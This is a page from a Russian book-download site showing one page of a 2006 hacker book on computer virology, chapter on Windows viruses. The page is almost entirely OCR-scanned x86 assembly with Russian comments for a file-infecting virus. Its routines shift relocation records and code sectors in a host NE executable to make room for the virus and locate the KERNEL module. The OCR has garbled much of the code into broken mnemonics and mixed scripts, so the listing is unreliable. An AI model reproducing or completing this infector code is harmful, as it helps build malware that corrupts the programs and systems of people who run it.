Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 104 105 106 107 108 109 < 110 > 111 112 113 114 115 116 .. 123 >> Следующая

div cx ;ах=размер буфера данных (в логических секторах) pop dx
cmp ax,dx ;ax>dx? (максимум секторов для переноса) jle SHORT MS1 mov
ax.dx ;ах=количество секторов для переноса MSI:
push ах сохраняем его, если еще не конец add di.dx
sub di,ax ;di= 1-й сектор для перемещения mov cx,[LOG_SEC]
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mul сх ;ах=байты, переносимые в этот раз push ах {сохраняем значение в
стеке mov ax.di mov cx,[LOG_SEC] mul cx mov cx.dx mov dx.ax
call FILE_SEEK_ST ;ищем стартовый сектор для переноса pop сх ;сх=байтов
для чтения push сх
mov dx,OFFSET TEMP call FILEREAD {читаем их mov ax.di
add ax,[VIRSECS] {эхолокация, куда перемещаются секторы ;(в секторах) mov
cx,[LOG_SEC] mul сх ;сЬсах=локация, в которую совершается перенос (в
байтах) mov cx.dx {устанавливаем функцию поиска mov dx.ax
call FILE_SEEK_ST ;и перемещаем туда pop сх {байты для записи mov
dx,OFFSET TEMP call FILEWRITE {записываем сюда правильное число байтов
pop ах {сообщаем о перенесенных секторах ret
Эта подпрограмма устанавливает переменные RELOCS и CS_SIZE в памяти из
незаряженного файла. Затем она обновляет счетчик перемещений в файле,
чтобы добавить число перемещений, затребованных вирусом.
SET_RELOCS:
mov WORD PTR [RELOCS],О mov dx,WORD PTR [NEW_HDR+16H] {читаем запись
сегментной {таблицы с первоначальным cs
ГЛАВА 9. Вирусы под Windows
call GET_SEG_ENTRY mov ax.WORD PTR [TEMP+4] устанавливаем флаги сегмента
xor dx.dx
and ah,1 проверяем данные перемещения
mov ax.WORD PTR [NEW_HDR+14H] ;это размер сегмента jz SHORT SRE .данных
нет, продолжаем push ax
push ax ;это данные перемещения, сколько? mov ax,[INITSEC] ;находим конец
кода в файле mov cx,[LOG_SEC]
mul сх ;dx:ax = начало cs в файле pop сх ;сх = размер кода
add ах.сх adc dx,0 mov cx.dx
mov dx.ax ;cx:dx = конец cs в файле
push cx
push dx
call FILE_SEEK_ST продолжаем поиск
mov dx.OFFSET RELOCS mov cx,2
call FILE_READ ;читаем 2-байтовый счетчик перемещений pop dx
pop cx
call FILE SEEK ST ; возвращаемся в эту локацию mov ах, [RELOCS] push ax
mov si, [VSTART] add ax,cs:[si+ARELOCS] mov [RELOCS],ax mov cx,2
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov dx.OFFSET RELOCS ;обновляем перемещения в файле
call FILE_WRITE добавляем перемещения
pop [RELOCS]
mov ах, [RELOCS]
shl ax,3
add ax,2 ;размер данных перемещения pop cx ; размер кода в сегменте xor
dx.dx
add ах.сх ;полный размер сегмента
adc dx.O SRE:
mov [CS_SIZE],ax сохраняем его здесь ret
Эта подпрограмма переносит перемещаемые элементы в конец первоначального
сегмента кода, чтобы создать место для вируса. Она переносит любое число
записей перемещения, каждая из которых является 8-байтовой. Кроме того,
она добавляет в файл новые перемещаемые элементы для вируса.
RELOCATE_RELOCS:
mov ах, [RELOCS] ;число перемещаемых элементов mov cl,3 shl ax.cl
add ах,2 ;ах=полное число байтов для переноса
push ах
mov ax,[INITSEC] mov cx,[LOG_SEC]
mul cx ;dx:ax = начало cs в файле
add ax.WORD PTR [NEW_HDR+14H] adc dx,0 ;dx:ax = конец cs в файле
ГЛАВА 9. Вирусы под Windows
pop сх ;сх а размер перемещений
add ах,сх
adc dx,0 ;dx:ax = юнец юода+перемещения
xchg ах,сх
xchg dx.cx до-pa эмор сххЬс=локация
RR_LP:
push сх push dx push ax
cmp ax,DATABUF_SIZE jie SHORT RR1 mov ax,DATABUF_SIZE дотаем байты
DATABUF_SIZE RR1:
sub dx,ax .возвращаемся к указателю файла
sbb cx,0
push сх
push dx
push ax
cat HLEJSEEXJST змцамшившцю.ясжациювфайпе pop cx
mov dx.OFFSETTEMP
cal F?LE_READ дотаем нуяное*"сло байтов, # в ax pop dx pop cx
push ax ;сохраняем чисяо прочитанных байтов
add dx,V1RUS_S0E яггомтрпмрпидтпль файла вверх
adc сх,0 '
call FILE_SEEK_ST
pop cx ;байт для записи
mov dx.OFFSETTEMP
AGTt
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
call FILE_WRITE ;записываем их в новую локацию pop ах pop dx pop сх
cmp ax,DATABUF_SIZE ;байтов записано меньше, чем ;DATABUF_SIZE?
jle SHORT RRE ;да, все выполнено
sub ax,DATABUF_SIZE ;нет, подстраиваем индекс
sub dx, DATABUF_SIZE
sbb cx,0
jmp RR_LP ;и переходим к другому RRE:
mov si,[VSTART]
mov cx.cs: [si+ARELOCS] добавляем перемещения ;ARELOCS к концу
push si
mov di,OFFSET TEMP
add si.OFFSET ARELOCS + 2 ;si указывает на ;таблицу перемещений
RRL:
mov ах,cs: [si] ;переносим перемещения в буфер и ;совершаем подстройку
stosw add si,2 mov ax,cs:[si] add si,2
add ax.WORD PTR [NEW_HDR+14H];flo6aanaeM размер первоначального кода к
офсету
stosw
mov ах, [KERNEL] ;помещаем ссылку "по пекГ из модуля kernel add si,2
stosw
ГЛАВА 9. Вирусы под Windows
mov ax,cs:[si] add si,2 stosw loop RRL pop si
mov dx.OFFSET TEMP mov cx,cs:[si+ARELOCS] shl cx,3
call FILE_WRITE ;помещаем эти значения в файл ret
Эта подпрограмма находит модуль KERNEL в таблице модульных ссылок и
вносит его в записи перемещений в вирусе.
SETUP_KERNEL: хог сх.сх
mov dx.WORD PTR [NEWHDR+28H] ; переходим к началу таблицы ;модульных
ссылок I
add dx,[NH_OFFSET]
adc cx,0
call FILE_SEEK_ST
mov dx.OFFSET TEMP
mov cx,40H -.читаем 32-модульные ссылки в
call FILE_READ [буфере TEMP
Предыдущая << 1 .. 104 105 106 107 108 109 < 110 > 111 112 113 114 115 116 .. 123 >> Следующая